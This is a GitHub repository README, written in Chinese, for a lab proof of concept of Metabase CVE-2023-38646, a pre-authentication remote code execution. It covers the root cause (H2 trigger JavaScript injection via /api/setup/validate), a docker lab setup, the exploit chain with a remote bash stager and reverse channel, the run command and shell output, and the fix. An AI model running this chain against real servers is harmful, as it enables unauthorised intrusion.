Kushiro45/metabase-cve-2023-38646
GitHub: Kushiro45/metabase-cve-2023-38646
针对 Metabase CVE-2023-38646 预认证 RCE 漏洞的概念验证工具,通过未授权的数据库验证端点结合 H2 引擎代码注入实现远程命令执行。
Stars: 0 | Forks: 0
cd ~/metabase-poc
cat > README.md << 'EOF'
# CVE-2023-38646 — Metabase Pre-Auth 远程代码执行
## 摘要
CVSS 9.8。Metabase 0.46.6.1 / 1.46.6.1 之前的版本(及等效的早期分支)
存在一个 Pre-Auth RCE 漏洞,该漏洞通过 `/api/setup/validate`
endpoint 触发。该 endpoint 本意是在初始设置期间验证数据库连接详情,
但即使在设置完成后,也可以在无需身份验证的情况下被访问。
## 根本原因
该 endpoint 接受一个数据库连接 payload,当指定 `engine: h2`
并附带精心构造的 JDBC 连接字符串时,允许通过 H2 的
`CREATE TRIGGER ... AS $$//javascript` 语法嵌入任意 JavaScript。
该 trigger 主体在验证时执行,使得攻击者能够在 JVM 内部执行
JavaScript — 这可以通过 `java.lang.Runtime.getRuntime().exec()`
轻易升级为 OS 命令执行。
根本原因在于 H2 数据库引擎将连接字符串中嵌入的代码作为“验证”
数据源的一部分予以信任,同时 Metabase 在 Pre-Auth 状态下暴露了
此验证路径。
## 环境
- 目标:官方 `metabase/metabase:v0.46.6` Docker 镜像
- 攻击者工具:Python 3, `requests`, `termcolor`
- PoC 来源:Exploit-DB 51797 (Musyoka Ian, CVE-2023-38646)
## 设置
运行存在漏洞的 Metabase:
```
docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
docker logs -f metabase # wait for "Metabase Initialization COMPLETE"
```
安装 exploit 依赖:
```
pip3 install requests termcolor
```
## 利用链
1. **Setup token 获取** — `/api/session/properties` 泄露了一个 `setup-token`,
该 token 本意是为一次性的初始设置流程提供门控,但在设置完成后
依然保持有效且可用。
2. **可利用性探测** — 攻击者启动一个本地 HTTP 服务器;精心构造的
H2 trigger 会导致目标向其发起出站 callback,从而确认在 H2 引擎内
执行了 JS。
3. **命令执行** — 第二个精心构造的 trigger 使用
`java.lang.Runtime.getRuntime().exec()` 从攻击者的
HTTP 服务器获取 bash stager,并通过原始 TCP
监听器以 base64 编码格式将命令输出回传。
## 运行
```
python3 51797.py -l -p 4444 -P 8000 -u http://localhost:3000
```
- `-l` — 攻击者 callback IP(当目标是本地容器时,为 Docker 网桥网关,
例如 `172.17.0.1`)
- `-p` — 反向数据通道连接的端口
- `-P` — 提供 stager 脚本的本地 HTTP 服务器端口
- `-u` — 目标 Metabase 的 base URL
一旦 Pre-Auth callback 确认了可利用性,就会进入交互式的
`metabase_shell >` 提示符。
## 结果
metabase_shell > whoami
metabase
metabase_shell > id
uid=2000(metabase) gid=2000(metabase) groups=2000(metabase),2000(metabase)
已确认以 `metabase` 服务账户身份执行命令 — Pre-Auth,
无需任何凭据。其严重性在于无需任何身份验证即可触达网络 RCE,
而不在于所生成 shell 的权限级别。
## 修复
已在 Metabase 0.46.6.1 / 1.46.6.1 及更高版本中修复 — `/api/setup/validate`
endpoint 现在要求确实未完成初始设置,并且 setup token
会在初始设置完成后失效。
## 免责声明
仅供隔离的实验室环境使用。请勿对您不拥有或未获得明确测试授权的 Metabase 实例运行此程序。
标签:CISA项目, Metabase, 威胁模拟, 安全PoC, 无摄像头检测, 编程工具, 请求拦截, 远程代码执行, 逆向工具